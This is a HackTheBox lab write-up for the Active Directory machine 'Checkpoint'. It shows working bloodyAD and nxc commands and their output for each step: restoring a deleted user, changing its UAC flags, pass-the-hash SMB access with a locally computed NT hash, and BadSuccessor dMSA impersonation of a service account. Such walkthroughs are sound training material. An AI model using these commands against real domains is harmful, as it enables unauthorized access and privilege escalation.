Checkpoint

Machine Info

Tools Used

Summary

Checkpoint is an Easy Windows Active Directory machine. Starting from the provided low-privilege account alex.turner, enumerating writable objects with bloodyAD shows WRITE over a tombstoned (deleted) object, Mark Davies. The object is restored, re-enabled, and configured for AS-REP by toggling userAccountControl flags; the account's NT hash is then derived from its known password and used to authenticate over SMB, exposing DevDrop and VMBackups shares. Finally, alex's CREATE_CHILD right over an OU is abused with the BadSuccessor technique: a delegated Managed Service Account (dMSA) is created that impersonates the svc_deploy service account via msDS-ManagedAccountPrecededByLink.

Reconnaissance

Initial Scan (NMAP)

The scan shows a classic Active Directory domain controller, DC01.checkpoint.htb, with Kerberos, LDAP, SMB and WinRM exposed.

# Nmap 7.98 scan initiated as: nmap -sC -A -oN scan.txt 10.129.137.167
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
Service Info: Host: DC01; OS: Windows

We start with the provided domain credentials:

Vulnerability Identification

CVEs / Vulnerabilities Identified

Initial Access / Lateral Movement

Enumerating Writable Objects

bloodyAD's get writable lists the objects alex.turner can modify. Notably, he has WRITE over a deleted object, Mark Davies, and CREATE_CHILD over the Employees OU - both of which become the attack path.

bloodyAD --host 10.129.160.74 -d checkpoint.htb \
  -u alex.turner -p 'Checkpoint2024!' get writable

distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb      DACL: WRITE
distinguishedName: OU=Employees,DC=checkpoint,DC=htb            permission: CREATE_CHILD
distinguishedName: CN=Mark Davies\0ADEL:...,CN=Deleted Objects,DC=checkpoint,DC=htb   permission: WRITE

Restoring & Re-enabling Mark Davies

The tombstoned Mark Davies object is restored into the Employees OU, then its userAccountControl is cleaned up - clearing ACCOUNTDISABLE and PASSWORD_EXPIRED and adding DONT_REQ_PREAUTH (AS-REP roastable):

# restore the deleted object under Employees
bloodyAD --host 10.129.243.28 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
  set restore 'CN=Mark Davies\0ADEL:...,CN=Deleted Objects,DC=checkpoint,DC=htb' \
  --newParent 'OU=Employees,DC=checkpoint,DC=htb'

# re-enable the account and relax password/preauth flags
bloodyAD ... remove uac 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' -f ACCOUNTDISABLE
bloodyAD ... remove uac 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' -f PASSWORD_EXPIRED
bloodyAD ... add    uac 'CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb' -f DONT_REQ_PREAUTH

Authenticating as Mark Davies

With a known password for the restored account, the NT (MD4) hash is computed locally and used for pass-the-hash authentication over SMB, which enumerates the available shares - including a writable DevDrop share and VMBackups:

echo -n 'Checkpoint2024!' | iconv -t utf16le | openssl dgst -md4
# MD4(stdin)= 0b28e49d9deb96f99d74578e214faec2

nxc smb 10.129.104.32 -d checkpoint.htb -u mark.davies -H 0b28e49d9deb96f99d74578e214faec2 --shares
# [+] checkpoint.htb\mark.davies:0b28e49d...
# DevDrop    READ,WRITE   VS Code extensions share for approved .vsix packages
# VMBackups  ...

Privilege Escalation (BadSuccessor)

alex.turner's CREATE_CHILD right over the Employees OU enables the BadSuccessor attack. A delegated Managed Service Account (dMSA) is created and linked to the privileged svc_deploy service account via msDS-ManagedAccountPrecededByLink, so that authenticating as the dMSA yields svc_deploy's privileges:

bloodyAD --host 10.129.104.32 --dns 10.129.104.32 -d checkpoint.htb \
  -u alex.turner -p 'Checkpoint2024!' \
  add badSuccessor 'svc_deploy_dmsa' \
  -t 'CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb' \
  --ou 'OU=Employees,DC=checkpoint,DC=htb' --prepatch

[+] Creating DMSA svc_deploy_dmsa$ in OU=Employees,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

The link is confirmed via LDAP:

nxc ldap 10.129.104.32 -d checkpoint.htb -u alex.turner -p 'Checkpoint2024!' \
  --query '(sAMAccountName=svc_deploy_dmsa$)' 'distinguishedName msDS-ManagedAccountPrecededByLink'

distinguishedName    CN=svc_deploy_dmsa,OU=Employees,DC=checkpoint,DC=htb
msDS-ManagedAccountPrecededByLink CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

Notes

This writeup documents the chain from alex.turner through restoring Mark Davies to the BadSuccessor dMSA impersonation of svc_deploy. Flag values are omitted.

Completed as part of HackTheBox practice in a legal, controlled environment.